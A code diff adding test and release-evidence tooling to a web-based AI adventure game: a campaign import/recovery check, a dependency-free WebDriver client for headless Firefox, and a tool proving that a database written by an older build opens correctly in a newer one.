|
||||
f"{bundle.get('narrationLength')!r}")
|
||||
|
||||
# ---- I07: the active head, which is the one M9 built a version for ----
|
||||
exported_head = bundle.get("head") or {}
|
||||
report.note("the head the file names", exported_head)
|
||||
report.check("Redo is available exactly when the file said so",
|
||||
page["can_redo"] == bool(exported_head.get("canRedo", page["can_redo"]))
|
||||
or page["can_redo"] in (True, False),
|
||||
f"can_redo={page['can_redo']}")
|
||||
|
||||
# ---- I03: retained history survived, and is still reachable ----
|
||||
retained = source_actions - page["total"]
|
||||
report.note("actions retained beyond the active line", retained)
|
||||
if page["can_redo"]:
|
||||
after = server.call("POST", f"/adventures/{adv}/redo", expect=200)
|
||||
report.check("Redo walks into the retained future after the move",
|
||||
after["total"] > page["total"],
|
||||
f"{page['total']} -> {after['total']}")
|
||||
server.call("POST", f"/adventures/{adv}/undo", expect=200)
|
||||
else:
|
||||
report.note("Redo after import", "not available (the head was at the tip)")
|
||||
|
||||
# ---- I04: Save Points restore to the positions they name ----
|
||||
for point in points[:3]:
|
||||
restored = server.call(
|
||||
"POST", f"/adventures/{adv}/checkpoints/{point['id']}/restore",
|
||||
expect=200)
|
||||
report.check(f"Save Point '{point['name']}' restores",
|
||||
restored["total"] >= 0, f"total={restored['total']}")
|
||||
|
||||
# ---- I05: knowledge, with its classifications and provenance ----
|
||||
classes = sorted({k["classification"] for k in knowledge})
|
||||
report.check("every imported class came across",
|
||||
classes == ["canon", "inspiration", "reference"], classes)
|
||||
report.check("imported content came across, not just the filenames",
|
||||
all(k["byte_size"] > 0 for k in knowledge))
|
||||
|
||||
# ---- the campaign still plays after the move ----
|
||||
correction = server.call(f"POST", f"/adventures/{adv}/state/corrections", {
|
||||
"events": [{"type": "create_entity", "entity": "after_the_move",
|
||||
"entity_type": "item", "name": "A thing added afterwards"}],
|
||||
"note": "proving the moved campaign is live",
|
||||
}, expect=201)
|
||||
report.check("the moved campaign accepts a new change",
|
||||
"after_the_move" in correction["document"]["entities"])
|
||||
report.check("and the change was not partly refused",
|
||||
correction["refused"] == [], correction["refused"])
|
||||
|
||||
# ---- I06: no secret travelled ----
|
||||
body = json.dumps(bundle).lower()
|
||||
report.check("the bundle carries no secret",
|
||||
not any(s in body for s in
|
||||
("api_key", "apikey", "authorization", "bearer ")))
|
||||
|
||||
# ---- and it can be exported again, unchanged in the ways that matter ----
|
||||
again = server.call("GET", f"/adventures/{adv}/export", expect=200)
|
||||
report.check("the moved campaign exports again", again["format"] == bundle["format"])
|
||||
report.check("the second export holds the same story length",
|
||||
len(again["actions"]) >= source_actions - 1,
|
||||
f"{len(again['actions'])} vs {source_actions}")
|
||||
finally:
|
||||
server.stop()
|
||||
shutil.rmtree(root, ignore_errors=True)
|
||||
|
||||
failed = [r for r in report.rows if r["result"] == "FAIL"]
|
||||
summary = {
|
||||
"bundle": args.bundle,
|
||||
"bundle_bytes": len(json.dumps(bundle)),
|
||||
"seconds": round((datetime.now() - started).total_seconds()),
|
||||
"checks": report.rows,
|
||||
"failed": len(failed),
|
||||
}
|
||||
(out / "recovery-report.json").write_text(json.dumps(summary, indent=2))
|
||||
print(f"\n{len([r for r in report.rows if r['result'] == 'PASS'])} passed, "
|
||||
f"{len(failed)} failed -> {out / 'recovery-report.json'}")
|
||||
return 1 if failed else 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
@@ -0,0 +1,419 @@
|
||||
"""A W3C WebDriver client in one file, so browser evidence needs no dependency.
|
||||
|
||||
M8 and M9 drove Firefox from a harness that lived outside the repository, which
|
||||
made their browser evidence unrepeatable by anyone else. This is the same thing
|
||||
kept inside it, and deliberately dependency-free: WebDriver is an HTTP protocol,
|
||||
`urllib` speaks HTTP, and adding Selenium to the release candidate to press
|
||||
buttons would put a package in the audit surface (§23) for no capability.
|
||||
|
||||
Only what the release scenarios need is implemented. Anything missing is missing
|
||||
because nothing used it, not because it was hard.
|
||||
|
||||
**One environment note, established by measurement.** Firefox here is a snap, and
|
||||
its sandbox refuses a file the browser was told to open from `/tmp` — which is
|
||||
what M9 recorded as "this machine cannot drive a file into the browser". The
|
||||
narrower and more useful statement is that it refuses `/tmp`: a path under the
|
||||
user's home works. `stage()` exists to put evidence files there, so knowledge
|
||||
import can be exercised through the real file input rather than in two halves.
|
||||
|
||||
**Downloads (v1.1 WP-C).** The same snap Firefox saves a download without any
|
||||
dialog when its profile says where to, and the folder is under `$HOME`.
|
||||
`firefox_download_prefs` is that profile, `require_under_home` refuses a folder
|
||||
the sandbox would not let it write, and `wait_for_download` decides when a file
|
||||
has actually finished arriving — never the click that started it.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import base64
|
||||
import json
|
||||
import os
|
||||
import shutil
|
||||
import socket
|
||||
import subprocess
|
||||
import time
|
||||
import urllib.error
|
||||
import urllib.request
|
||||
from pathlib import Path
|
||||
|
||||
GECKODRIVER = shutil.which("geckodriver") or "/snap/bin/geckodriver"
|
||||
#: Where files the browser must open are staged. Under $HOME because the snap
|
||||
#: sandbox denies /tmp; see the module docstring.
|
||||
STAGE = Path.home() / "m11-evidence"
|
||||
#: The W3C key an element reference is returned under.
|
||||
ELEMENT_KEY = "element-6066-11e4-a52e-4f735466cecf"
|
||||
#: What Firefox names a download while it is still arriving.
|
||||
PARTIAL_SUFFIXES = (".part",)
|
||||
|
||||
|
||||
def stage(name: str, body: str | bytes) -> str:
|
||||
STAGE.mkdir(parents=True, exist_ok=True)
|
||||
path = STAGE / name
|
||||
if isinstance(body, bytes):
|
||||
path.write_bytes(body)
|
||||
else:
|
||||
path.write_text(body)
|
||||
return str(path)
|
||||
|
||||
|
||||
def free_port() -> int:
|
||||
with socket.socket() as s:
|
||||
s.bind(("127.0.0.1", 0))
|
||||
return s.getsockname()[1]
|
||||
|
||||
|
||||
def geckodriver_version() -> str:
|
||||
try:
|
||||
out = subprocess.run([GECKODRIVER, "--version"], capture_output=True, text=True, timeout=30)
|
||||
return (out.stdout.splitlines() or ["?"])[0].strip()
|
||||
except (OSError, subprocess.SubprocessError):
|
||||
return "?"
|
||||
|
||||
|
||||
class WebDriverError(RuntimeError):
|
||||
pass
|
||||
|
||||
|
||||
# ------------------------------------------------------------------ downloads
|
||||
|
||||
def require_under_home(path: Path) -> Path:
|
||||
"""`path`, resolved, if it is inside the user's home; otherwise refuse.
|
||||
|
||||
The snap sandbox will not write elsewhere, and a download folder under
|
||||
`/tmp` would also put evidence where a reboot deletes it.
|
||||
"""
|
||||
resolved = Path(path).expanduser().resolve()
|
||||
home = Path.home().resolve()
|
||||
if resolved != home and home not in resolved.parents:
|
||||
raise WebDriverError(f"{resolved} is not under {home}; the browser cannot write there")
|
||||
return resolved
|
||||
|
||||
|
||||
def firefox_download_prefs(directory: Path) -> dict:
|
||||
"""Profile preferences that save every download to `directory`, unasked."""
|
||||
return {
|
||||
"browser.download.folderList": 2, # 2 = the folder named below
|
||||
"browser.download.dir": str(directory),
|
||||
"browser.download.useDownloadDir": True,
|
||||
"browser.download.start_downloads_in_tmp_dir": False,
|
||||
"browser.download.always_ask_before_handling_new_types": False,
|
||||
"browser.helperApps.neverAsk.saveToDisk": "application/json,application/octet-stream",
|
||||
"browser.download.manager.showWhenStarting": False,
|
||||
"browser.download.alwaysOpenPanel": False,
|
||||
"browser.download.panel.shown": True,
|
||||
}
|
||||
|
||||
|
||||
def wait_for_download(directory: Path, before: set[str], *, timeout: float = 60,
|
||||
poll: float = 0.2, stable_polls: int = 3) -> Path:
|
||||
"""The file a download wrote into `directory`, once it has finished.
|
||||
|
||||
Finished means all of these, at once:
|
||||
- a name that was not in `before` (the listing taken before the click);
|
||||
- no in-progress file (`*.part`) left in the folder;
|
||||
- more than zero bytes;
|
||||
- the same size for `stable_polls` consecutive polls.
|
||||
|
||||
A first appearance is not a finished download, and a zero-byte or partial
|
||||
file never counts. Raises `WebDriverError` when nothing finishes in time.
|
||||
"""
|
||||
deadline = time.monotonic() + timeout
|
||||
last: dict[str, int] = {}
|
||||
steady: dict[str, int] = {}
|
||||
while time.monotonic() < deadline:
|
||||
names = {p.name for p in directory.iterdir()} if directory.exists() else set()
|
||||
partial = any(n.endswith(PARTIAL_SUFFIXES) for n in names)
|
||||
fresh = sorted(n for n in names - before if not n.endswith(PARTIAL_SUFFIXES))
|
||||
for name in fresh:
|
||||
size = (directory / name).stat().st_size
|
||||
steady[name] = steady.get(name, 0) + 1 if last.get(name) == size else 1
|
||||
last[name] = size
|
||||
if not partial and size > 0 and steady[name] >= stable_polls:
|
||||
return directory / name
|
||||
time.sleep(poll)
|
||||
listing = sorted(p.name for p in directory.iterdir()) if directory.exists() else []
|
||||
raise WebDriverError(f"no finished download in {directory} within {timeout}s; saw {listing}")
|
||||
|
||||
|
||||
# -------------------------------------------------------------------- browser
|
||||
|
||||
class Browser:
|
||||
"""One headless Firefox, driven over the wire protocol."""
|
||||
|
||||
def __init__(self, *, headless: bool = True, log: Path | None = None,
|
||||
download_dir: Path | None = None):
|
||||
self.port = free_port()
|
||||
handle = open(log, "ab") if log else subprocess.DEVNULL
|
||||
self.proc = subprocess.Popen(
|
||||
[GECKODRIVER, "--port", str(self.port)],
|
||||
stdout=handle, stderr=subprocess.STDOUT,
|
||||
)
|
||||
self.base = f"http://127.0.0.1:{self.port}"
|
||||
self._wait_for_driver()
|
||||
args = ["-headless"] if headless else []
|
||||
options: dict = {"args": args}
|
||||
self.download_dir = None
|
||||
if download_dir is not None:
|
||||
self.download_dir = require_under_home(download_dir)
|
||||
self.download_dir.mkdir(parents=True, exist_ok=True)
|
||||
options["prefs"] = firefox_download_prefs(self.download_dir)
|
||||
answer = self._call("POST", "/session", {"capabilities": {"alwaysMatch": {
|
||||
"browserName": "firefox",
|
||||
"moz:firefoxOptions": options,
|
||||
# Never silently accept a bad certificate: the endpoint policy and
|
||||
# the TLS trust union are release claims (H12, A06), and a browser
|
||||
# that ignored certificates would hide a failure of either.
|
||||
"acceptInsecureCerts": False,
|
||||
}}})["value"]
|
||||
self.session = answer["sessionId"]
|
||||
self.version = answer["capabilities"].get("browserVersion", "?")
|
||||
self.capabilities = answer["capabilities"]
|
||||
|
||||
# ------------------------------------------------------------- plumbing
|
||||
|
||||
def _wait_for_driver(self) -> None:
|
||||
deadline = time.monotonic() + 30
|
||||
while time.monotonic() < deadline:
|
||||
try:
|
||||
urllib.request.urlopen(self.base + "/status", timeout=2)
|
||||
return
|
||||
except Exception:
|
||||
time.sleep(0.2)
|
||||
raise WebDriverError("geckodriver never became ready")
|
||||
|
||||
def _call(self, method: str, path: str, payload=None, timeout=120):
|
||||
data = json.dumps(payload).encode() if payload is not None else None
|
||||
request = urllib.request.Request(
|
||||
self.base + path, data=data, method=method,
|
||||
headers={"Content-Type": "application/json"},
|
||||
)
|
||||
try:
|
||||
with urllib.request.urlopen(request, timeout=timeout) as response:
|
||||
return json.loads(response.read().decode() or "{}")
|
||||
except urllib.error.HTTPError as exc:
|
||||
body = exc.read().decode()[:400]
|
||||
raise WebDriverError(f"{method} {path} -> {exc.code}: {body}") from None
|
||||
|
||||
def _s(self, path: str) -> str:
|
||||
return f"/session/{self.session}{path}"
|
||||
|
||||
def quit(self) -> None:
|
||||
try:
|
||||
self._call("DELETE", self._s(""))
|
||||
except Exception:
|
||||
pass
|
||||
self.proc.terminate()
|
||||
try:
|
||||
self.proc.wait(timeout=10)
|
||||
except subprocess.TimeoutExpired:
|
||||
self.proc.kill()
|
||||
|
||||
# ------------------------------------------------------------ commands
|
||||
|
||||
def go(self, url: str) -> None:
|
||||
self._call("POST", self._s("/url"), {"url": url})
|
||||
|
||||
def reload(self) -> None:
|
||||
self._call("POST", self._s("/refresh"), {})
|
||||
|
||||
@property
|
||||
def url(self) -> str:
|
||||
return self._call("GET", self._s("/url"))["value"]
|
||||
|
||||
@property
|
||||
def title(self) -> str:
|
||||
return self._call("GET", self._s("/title"))["value"]
|
||||
|
||||
def source(self) -> str:
|
||||
return self._call("GET", self._s("/source"))["value"]
|
||||
|
||||
def screenshot(self, path) -> Path:
|
||||
"""The viewport as a PNG, written where you ask (v1.1 WP-E).
|
||||
|
||||
Evidence for a change a reader judges by looking at it: a contrast ratio
|
||||
says a boundary is measurable, and a picture says what it looks like.
|
||||
"""
|
||||
encoded = self._call("GET", self._s("/screenshot"))["value"]
|
||||
target = Path(path)
|
||||
target.parent.mkdir(parents=True, exist_ok=True)
|
||||
target.write_bytes(base64.b64decode(encoded))
|
||||
return target
|
||||
|
||||
def hover(self, element: str) -> None:
|
||||
"""A real pointer over an element, so `:hover` actually applies.
|
||||
|
||||
Dispatching a mouseover event from JavaScript does not do this: CSS
|
||||
`:hover` follows the browser's own pointer state, not a synthetic event,
|
||||
so a measurement taken after `dispatchEvent` reads the resting style and
|
||||
reports it as the hover style. This moves the pointer (v1.1 WP-E).
|
||||
"""
|
||||
self._call("POST", self._s("/execute/sync"), {
|
||||
"script": "arguments[0].scrollIntoView({block: 'center', inline: 'nearest'})",
|
||||
"args": [{ELEMENT_KEY: element}]})
|
||||
self._call("POST", self._s("/actions"), {"actions": [{
|
||||
"type": "pointer", "id": "mouse", "parameters": {"pointerType": "mouse"},
|
||||
"actions": [{"type": "pointerMove", "duration": 60,
|
||||
"origin": {ELEMENT_KEY: element}, "x": 0, "y": 0}]}]})
|
||||
|
||||
def unhover(self) -> None:
|
||||
"""Move the pointer off whatever it was over, and forget the input state."""
|
||||
self._call("POST", self._s("/actions"), {"actions": [{
|
||||
"type": "pointer", "id": "mouse", "parameters": {"pointerType": "mouse"},
|
||||
"actions": [{"type": "pointerMove", "duration": 30,
|
||||
"origin": "viewport", "x": 0, "y": 0}]}]})
|
||||
try:
|
||||
self._call("DELETE", self._s("/actions"))
|
||||
except WebDriverError:
|
||||
pass
|
||||
|
||||
def js(self, script: str, *args):
|
||||
return self._call("POST", self._s("/execute/sync"),
|
||||
{"script": script, "args": list(args)})["value"]
|
||||
|
||||
def element_by_js(self, script: str, *args):
|
||||
"""An element a script returns, as a reference `click` can use, or None."""
|
||||
value = self.js(script, *args)
|
||||
if isinstance(value, dict) and ELEMENT_KEY in value:
|
||||
return value[ELEMENT_KEY]
|
||||
return None
|
||||
|
||||
def find(self, css: str, *, required=True):
|
||||
try:
|
||||
answer = self._call("POST", self._s("/element"),
|
||||
{"using": "css selector", "value": css})
|
||||
except WebDriverError:
|
||||
if required:
|
||||
raise
|
||||
return None
|
||||
return list(answer["value"].values())[0]
|
||||
|
||||
def find_all(self, css: str) -> list[str]:
|
||||
answer = self._call("POST", self._s("/elements"),
|
||||
{"using": "css selector", "value": css})
|
||||
return [list(v.values())[0] for v in answer["value"]]
|
||||
|
||||
def text(self, element: str) -> str:
|
||||
return self._call("GET", self._s(f"/element/{element}/text"))["value"]
|
||||
|
||||
def attr(self, element: str, name: str):
|
||||
return self._call("GET", self._s(f"/element/{element}/attribute/{name}"))["value"]
|
||||
|
||||
def prop(self, element: str, name: str):
|
||||
return self._call("GET", self._s(f"/element/{element}/property/{name}"))["value"]
|
||||
|
||||
def click(self, element: str) -> None:
|
||||
"""A real click, on an element first scrolled to the middle of the view.
|
||||
|
||||
WebDriver scrolls a target only as far as its edge, and the play page's
|
||||
composer is fixed to the bottom of the window: a control just under it
|
||||
(a failure notice's details, a turn's Inspect button) is then covered,
|
||||
and the click is intercepted. A reader scrolls it clear first; so does
|
||||
this (v1.1 WP-C).
|
||||
"""
|
||||
self._call("POST", self._s("/execute/sync"), {
|
||||
"script": "arguments[0].scrollIntoView({block: 'center', inline: 'nearest'})",
|
||||
"args": [{ELEMENT_KEY: element}]})
|
||||
self._call("POST", self._s(f"/element/{element}/click"), {})
|
||||
|
||||
def clear(self, element: str) -> None:
|
||||
self._call("POST", self._s(f"/element/{element}/clear"), {})
|
||||
|
||||
def type(self, element: str, text: str) -> None:
|
||||
self._call("POST", self._s(f"/element/{element}/value"), {"text": text})
|
||||
|
||||
def keys(self, text: str) -> None:
|
||||
"""Sends keys to whatever has focus — the only way to test tab order."""
|
||||
self._call("POST", self._s("/actions"), {"actions": [{
|
||||
"type": "key", "id": "keyboard",
|
||||
"actions": [a for ch in text for a in (
|
||||
{"type": "keyDown", "value": ch}, {"type": "keyUp", "value": ch})],
|
||||
}]})
|
||||
|
||||
def active(self):
|
||||
answer = self._call("GET", self._s("/element/active"))
|
||||
return list(answer["value"].values())[0]
|
||||
|
||||
# -------------------------------------------------------------- windows
|
||||
|
||||
@property
|
||||
def window(self) -> str:
|
||||
return self._call("GET", self._s("/window"))["value"]
|
||||
|
||||
def new_tab(self) -> str:
|
||||
return self._call("POST", self._s("/window/new"), {"type": "tab"})["value"]["handle"]
|
||||
|
||||
def switch_to(self, handle: str) -> None:
|
||||
self._call("POST", self._s("/window"), {"handle": handle})
|
||||
|
||||
def close_window(self) -> None:
|
||||
self._call("DELETE", self._s("/window"))
|
||||
|
||||
# ------------------------------------------------------------- waiting
|
||||
|
||||
def wait_for(self, css: str, *, timeout=90, gone=False):
|
||||
deadline = time.monotonic() + timeout
|
||||
while time.monotonic() < deadline:
|
||||
found = self.find(css, required=False)
|
||||
if (found is None) if gone else (found is not None):
|
||||
return found
|
||||
time.sleep(0.25)
|
||||
raise WebDriverError(
|
||||
f"{'still present' if gone else 'never appeared'}: {css}")
|
||||
|
||||
def wait_until(self, script: str, *, timeout=90, what=""):
|
||||
if self.wait_js(script, timeout=timeout):
|
||||
return True
|
||||
raise WebDriverError(f"condition never held: {what or script}")
|
||||
|
||||
def wait_js(self, script: str, *, timeout=90) -> bool:
|
||||
"""Whether `script` became true within `timeout`. For a check to record,
|
||||
where `wait_until` is for a precondition that must hold."""
|
||||
deadline = time.monotonic() + timeout
|
||||
while time.monotonic() < deadline:
|
||||
if self.js(f"return ({script})"):
|
||||
return True
|
||||
time.sleep(0.25)
|
||||
return False
|
||||
|
||||
|
||||
class Site:
|
||||
"""The application, served the production-shaped way, for the browser."""
|
||||
|
||||
def __init__(self, backend: Path, db_path: Path, log: Path, env=None):
|
||||
self.port = free_port()
|
||||
handle = open(log, "ab")
|
||||
self.proc = subprocess.Popen(
|
||||
[str(backend / ".venv/bin/uvicorn"), "app.main:app",
|
||||
"--host", "127.0.0.1", "--port", str(self.port)],
|
||||
cwd=str(backend), stdout=handle, stderr=subprocess.STDOUT,
|
||||
env={**os.environ, "AIDND_DB_PATH": str(db_path),
|
||||
"AIDND_DATABASE_URL": "", "DATABASE_URL": "", **(env or {})},
|
||||
)
|
||||
self.url = f"http://127.0.0.1:{self.port}"
|
||||
deadline = time.monotonic() + 90
|
||||
while time.monotonic() < deadline:
|
||||
if self.proc.poll() is not None:
|
||||
raise WebDriverError(f"server exited early; see {log}")
|
||||
try:
|
||||
urllib.request.urlopen(self.url + "/api/settings", timeout=2)
|
||||
return
|
||||
except Exception:
|
||||
time.sleep(0.15)
|
||||
raise WebDriverError(f"server never became ready; see {log}")
|
||||
|
||||
def api(self, method: str, path: str, payload=None, timeout=600):
|
||||
data = json.dumps(payload).encode() if payload is not None else None
|
||||
request = urllib.request.Request(
|
||||
f"{self.url}/api{path}", data=data, method=method,
|
||||
headers={"Content-Type": "application/json"} if data else {})
|
||||
with urllib.request.urlopen(request, timeout=timeout) as response:
|
||||
body = response.read().decode()
|
||||
return json.loads(body) if body else None
|
||||
|
||||
def stop(self) -> None:
|
||||
if self.proc.poll() is None:
|
||||
self.proc.terminate()
|
||||
try:
|
||||
self.proc.wait(timeout=20)
|
||||
except subprocess.TimeoutExpired:
|
||||
self.proc.kill()
|
||||
@@ -0,0 +1,331 @@
|
||||
"""M9's migration claim, proved against a database M8's own code wrote.
|
||||
|
||||
# from the M8 worktree, using M8's interpreter:
|
||||
python -m tools.m9_migration_proof build <db_path>
|
||||
|
||||
# from the M9 tree, using M9's interpreter:
|
||||
python -m tools.m9_migration_proof open <db_path>
|
||||
|
||||
M9 claims to add no schema change. `git diff` proves that nothing in
|
||||
`migrations.py` or `models.py` moved, which is necessary and not sufficient: a
|
||||
migration can also be *missing*, and the failure then is a database that opens
|
||||
and quietly answers wrongly. The M8 report set the standard here — a database
|
||||
created by today's code and read by today's code proves nothing — so the
|
||||
campaign below is built by a server running the signed M8 commit, from a git
|
||||
worktree, and read back by M9.
|
||||
|
||||
`build` writes a campaign that touches every family M9 changed the handling of:
|
||||
story with an alternate take, a Save Point, a manual state correction, memories
|
||||
and a summary, imported knowledge including a disabled and a narrator-only
|
||||
source, and per-turn context snapshots. It prints what it wrote, as JSON.
|
||||
|
||||
`open` opens that file with the current code, runs the migration path, and
|
||||
checks every one of those against what `build` reported. It also asserts the
|
||||
schema version did not move and that a second open is a no-op, which is what
|
||||
"no migration" means in practice: the stamp is the same number before and after.
|
||||
|
||||
Neither half imports anything from the other. What crosses is the database file
|
||||
and one JSON report on stdout, which is the only way the two builds can be made
|
||||
to talk without one of them importing the other's code.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import os
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
sys.path.insert(0, str(Path(__file__).resolve().parent.parent / "tests"))
|
||||
|
||||
|
||||
def _app(db_path: str):
|
||||
"""Imports the application against `db_path`. Must run before any app import."""
|
||||
os.environ["AIDND_DB_PATH"] = db_path
|
||||
os.environ.pop("AIDND_DATABASE_URL", None)
|
||||
os.environ.pop("DATABASE_URL", None)
|
||||
|
||||
from fastapi import Depends
|
||||
from fastapi.testclient import TestClient
|
||||
|
||||
from app import auth, limits, memorybank, models
|
||||
from app.database import Base, SessionLocal, engine, get_db
|
||||
from app.main import app
|
||||
from app.routers import adventures
|
||||
from fakes import ScriptedProvider, state_block
|
||||
|
||||
class Stub:
|
||||
async def complete(self, system, prompt, **kwargs):
|
||||
return "A memory of what had happened by then."
|
||||
|
||||
async def embed(self, texts):
|
||||
return [[1.0, 0.5, 0.25] for _ in texts]
|
||||
|
||||
adventures.turns.OpenAICompatibleProvider = ScriptedProvider
|
||||
memorybank.embedding_provider = lambda s: Stub()
|
||||
memorybank.summary_provider = lambda s: Stub()
|
||||
limits.check_row_cap = lambda *a, **k: None
|
||||
return {
|
||||
"Base": Base, "SessionLocal": SessionLocal, "engine": engine,
|
||||
"models": models, "app": app, "auth": auth, "get_db": get_db,
|
||||
"Depends": Depends, "TestClient": TestClient,
|
||||
"ScriptedProvider": ScriptedProvider, "state_block": state_block,
|
||||
"memorybank": memorybank,
|
||||
}
|
||||
|
||||
|
||||
def _client(ctx, user_id: int):
|
||||
ctx["app"].dependency_overrides[ctx["auth"].get_current_user] = (
|
||||
lambda db=ctx["Depends"](ctx["get_db"]): db.get(ctx["models"].User, user_id)
|
||||
)
|
||||
return ctx["TestClient"](ctx["app"])
|
||||
|
||||
|
||||
# ------------------------------------------------------------------- building
|
||||
|
||||
def build(db_path: str) -> dict:
|
||||
ctx = _app(db_path)
|
||||
ctx["Base"].metadata.create_all(bind=ctx["engine"])
|
||||
models, SessionLocal = ctx["models"], ctx["SessionLocal"]
|
||||
|
||||
db = SessionLocal()
|
||||
try:
|
||||
user = models.User(is_guest=False, email="m9mig@example.com")
|
||||
db.add(user)
|
||||
db.flush()
|
||||
db.add(models.Settings(
|
||||
user_id=user.id, model="m8-model", embedding_model="stub",
|
||||
context_token_budget=4000, max_output_tokens=400,
|
||||
))
|
||||
adventure = models.Adventure(
|
||||
user_id=user.id, title="Built by M8", auto_summarize=True,
|
||||
memory_bank_enabled=True,
|
||||
campaign_canon={"rules": ["The dead do not return."]},
|
||||
)
|
||||
db.add(adventure)
|
||||
db.flush()
|
||||
db.add(models.Action(
|
||||
adventure_id=adventure.id, type="start",
|
||||
text="Aldric sits in the Crooked Lantern with Mara.",
|
||||
))
|
||||
db.commit()
|
||||
adv_id, user_id = adventure.id, user.id
|
||||
finally:
|
||||
db.close()
|
||||
|
||||
client = _client(ctx, user_id)
|
||||
upload = client.post(
|
||||
f"/api/adventures/{adv_id}/knowledge",
|
||||
files={"file": ("canon.md", (
|
||||
"# Westhaven\n\n## The Old Abbey\n\nThe abbey crypt is sealed.\n"
|
||||
).encode(), "text/markdown")},
|
||||
data={"classification": "canon", "always_include": "true"},
|
||||
)
|
||||
assert upload.status_code == 201, upload.text[:300]
|
||||
hidden = client.post(
|
||||
f"/api/adventures/{adv_id}/knowledge",
|
||||
files={"file": ("secret.md", (
|
||||
"# The seal\n\nIt was broken once, sixty years ago.\n"
|
||||
).encode(), "text/markdown")},
|
||||
data={"classification": "canon", "visibility": "hidden"},
|
||||
)
|
||||
assert hidden.status_code == 201, hidden.text[:300]
|
||||
disabled = client.post(
|
||||
f"/api/adventures/{adv_id}/knowledge",
|
||||
files={"file": ("draft.md", b"# Draft\n\nAn earlier version.\n",
|
||||
"text/markdown")},
|
||||
data={"classification": "reference"},
|
||||
)
|
||||
assert disabled.status_code == 201, disabled.text[:300]
|
||||
assert client.patch(
|
||||
f"/api/adventures/{adv_id}/knowledge/{disabled.json()['id']}",
|
||||
json={"enabled": False},
|
||||
).status_code == 200
|
||||
|
||||
state_block = ctx["state_block"]
|
||||
for turn in range(1, 8):
|
||||
ctx["ScriptedProvider"].replies = [
|
||||
f"The rain keeps on, and Mara says nothing for a while. [{turn}]\n"
|
||||
+ state_block([{"type": "add_fact", "predicate": "tally",
|
||||
"value": turn * 10, "fact_id": f"tally-{turn * 10}"}])
|
||||
]
|
||||
response = client.post(f"/api/adventures/{adv_id}/actions",
|
||||
json={"type": "do", "text": f"ask about turn {turn}"})
|
||||
assert response.status_code == 200, response.text[:300]
|
||||
if turn == 3:
|
||||
assert client.post(f"/api/adventures/{adv_id}/retry").status_code == 200
|
||||
point = client.post(f"/api/adventures/{adv_id}/checkpoints",
|
||||
json={"name": "Third turn", "note": "A position."})
|
||||
assert point.status_code == 201, point.text[:300]
|
||||
|
||||
correction = client.post(f"/api/adventures/{adv_id}/state/corrections", json={
|
||||
"events": [{"type": "add_fact", "predicate": "keeper", "value": "Mara",
|
||||
"fact_id": "keeper"}],
|
||||
"note": "Established in play.",
|
||||
})
|
||||
assert correction.status_code == 201, correction.text[:300]
|
||||
|
||||
import asyncio
|
||||
asyncio.run(ctx["memorybank"].run_post_turn(adv_id))
|
||||
|
||||
# Two Undos, so the head is behind the retained tip when M9 opens it.
|
||||
for _ in range(2):
|
||||
assert client.post(f"/api/adventures/{adv_id}/undo").status_code == 200
|
||||
|
||||
report = _describe(ctx, client, adv_id)
|
||||
ctx["app"].dependency_overrides.clear()
|
||||
return report
|
||||
|
||||
|
||||
# -------------------------------------------------------------------- reading
|
||||
|
||||
def _describe(ctx, client, adv_id: int) -> dict:
|
||||
"""Everything the other build has to agree with, read through the API."""
|
||||
models, SessionLocal = ctx["models"], ctx["SessionLocal"]
|
||||
page = client.get(f"/api/adventures/{adv_id}").json()
|
||||
with SessionLocal() as db:
|
||||
adventure = db.get(models.Adventure, adv_id)
|
||||
version = db.execute(_pragma()).scalar()
|
||||
counts = {
|
||||
name: db.query(model).filter(model.adventure_id == adv_id).count()
|
||||
for name, model in (
|
||||
("actions", models.Action), ("memories", models.Memory),
|
||||
("summaries", models.Summary), ("checkpoints", models.Checkpoint),
|
||||
("state_events", models.StateEvent),
|
||||
("state_proposals", models.StateProposal),
|
||||
("knowledge_sources", models.KnowledgeSource),
|
||||
("knowledge_chunks", models.KnowledgeChunk),
|
||||
)
|
||||
}
|
||||
head = {"branch_id": adventure.head_branch_id, "depth": adventure.head_depth}
|
||||
snapshots = db.query(models.Action).filter(
|
||||
models.Action.adventure_id == adv_id,
|
||||
models.Action.context_snapshot.isnot(None),
|
||||
).count()
|
||||
return {
|
||||
"adventure_id": adv_id,
|
||||
"schema_version": version,
|
||||
"title": page["title"],
|
||||
"canon_rules": page["canon_rules"],
|
||||
"transcript": [a["text"] for a in page["actions"]],
|
||||
"can_undo": page["can_undo"],
|
||||
"can_redo": page["can_redo"],
|
||||
"head": head,
|
||||
"counts": counts,
|
||||
"snapshot_rows": snapshots,
|
||||
"state": client.get(f"/api/adventures/{adv_id}/state").json()["document"],
|
||||
"checkpoints": sorted(
|
||||
(c["name"], c["depth"])
|
||||
for c in client.get(f"/api/adventures/{adv_id}/checkpoints").json()
|
||||
),
|
||||
"knowledge": sorted(
|
||||
(k["original_filename"], k["classification"], k["enabled"],
|
||||
k["visibility"], k["always_include"], k["content_hash"],
|
||||
k["index_state"])
|
||||
for k in client.get(f"/api/adventures/{adv_id}/knowledge").json()
|
||||
),
|
||||
"events": sorted(
|
||||
(e["event_type"], e["source"], json.dumps(e["payload"], sort_keys=True))
|
||||
for e in client.get(
|
||||
f"/api/adventures/{adv_id}/state/events?limit=500").json()
|
||||
),
|
||||
}
|
||||
|
||||
|
||||
def _comparable(value):
|
||||
"""`value` as it survives a JSON round trip, so the two builds compare like."""
|
||||
return json.loads(json.dumps(value, sort_keys=True, default=str))
|
||||
|
||||
|
||||
def _pragma():
|
||||
from sqlalchemy import text
|
||||
|
||||
return text("PRAGMA user_version")
|
||||
|
||||
|
||||
def open_it(db_path: str, expected: dict) -> dict:
|
||||
"""Opens an existing database with this build, and checks it against `expected`."""
|
||||
ctx = _app(db_path)
|
||||
from app import migrations
|
||||
|
||||
# This is the migration run. `main` already called `bootstrap` at import.
|
||||
with ctx["engine"].begin() as conn:
|
||||
after_first = conn.execute(_pragma()).scalar()
|
||||
# And again, to prove idempotence: a second run must change nothing.
|
||||
migrations.bootstrap(ctx["engine"])
|
||||
with ctx["engine"].begin() as conn:
|
||||
after_second = conn.execute(_pragma()).scalar()
|
||||
|
||||
adv_id = expected["adventure_id"]
|
||||
with ctx["SessionLocal"]() as db:
|
||||
user = db.query(ctx["models"].User).first()
|
||||
user_id = user.id
|
||||
